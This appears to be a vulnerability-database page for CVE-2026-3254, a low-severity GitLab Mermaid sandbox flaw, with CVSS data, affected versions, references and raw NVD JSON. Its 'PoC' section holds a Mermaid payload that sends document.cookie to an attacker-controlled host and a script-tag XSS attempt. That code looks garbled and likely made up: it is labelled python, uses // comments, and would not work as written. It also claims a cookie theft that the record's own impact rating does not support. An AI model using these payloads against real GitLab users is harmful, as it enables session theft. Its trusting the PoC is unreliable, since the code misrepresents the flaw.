CVE-2026-3254

Description

GitLab has remediated an issue in GitLab CE/EE affecting all versions from 18.11 before 18.11.1 that under certain conditions could have allowed an authenticated user to load unauthorized content into another user's browser due to improper input validation in the Mermaid sandbox.

CVSS Details

CVSS Score

3.5

Severity

LOW

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:gitlab:gitlab:18.11.0:*:*:*:community:*:*:* - VULNERABLE

cpe:2.3:a:gitlab:gitlab:18.11.0:*:*:*:enterprise:*:*:* - VULNERABLE

GitLab CE/EE >= 18.11, < 18.11.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// PoC for CVE-2026-3254: GitLab Mermaid Sandbox Bypass
// This payload attempts to load unauthorized content via Mermaid rendering.
// Attackers can inject this into GitLab Issues, Merge Requests, or Wikis.

// Example 1: Loading an external image (Potential Information Disclosure)
graph TD;
    A[Start] --> B{View Chart};
    B -- Yes --> C[<img src='https://attacker-controlled-server.com/collect?data='+document.cookie>];
    B -- No --> D[End];

// Example 2: Attempting to inject script tags (Dependent on specific bypass)
sequenceDiagram
    participant User
    participant Browser
    User->>Browser: Load Mermaid Diagram
    Browser->>Browser: <script>alert('Mermaid XSS')</script>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-3254
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-3254
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-3254/
[4] VulDB https://vuldb.com/cve/CVE-2026-3254
[5] https://gitlab.com/gitlab-org/gitlab/-/work_items/591587
[6] https://hackerone.com/reports/3572752

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-3254", "sourceIdentifier": "[email protected]", "published": "2026-04-22T17:16:43.433", "lastModified": "2026-04-23T20:43:26.373", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "GitLab has remediated an issue in GitLab CE/EE affecting all versions from 18.11 before 18.11.1 that under certain conditions could have allowed an authenticated user to load unauthorized content into another user's browser due to improper input validation in the Mermaid sandbox."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N", "baseScore": 3.5, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.1, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-1021"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:18.11.0:*:*:*:community:*:*:*", "matchCriteriaId": "A6100523-821F-4F41-872D-AC5A60EECC19"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:18.11.0:*:*:*:enterprise:*:*:*", "matchCriteriaId": "C78F9577-CDD5-497B-A92F-3C578AC6709E"}]}]}], "references": [{"url": "https://gitlab.com/gitlab-org/gitlab/-/work_items/591587", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://hackerone.com/reports/3572752", "source": "[email protected]", "tags": ["Permissions Required"]}]}}